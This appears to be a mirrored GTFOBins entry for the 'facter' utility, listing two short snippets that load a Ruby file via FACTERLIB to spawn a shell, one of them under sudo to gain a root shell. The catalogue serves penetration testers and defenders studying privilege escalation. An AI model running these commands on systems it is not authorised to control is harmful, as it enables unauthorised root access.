mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
14 lines
259 B
Markdown
14 lines
259 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
|
FACTERLIB=$TF facter
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
|
sudo FACTERLIB=$TF facter
|
|
---
|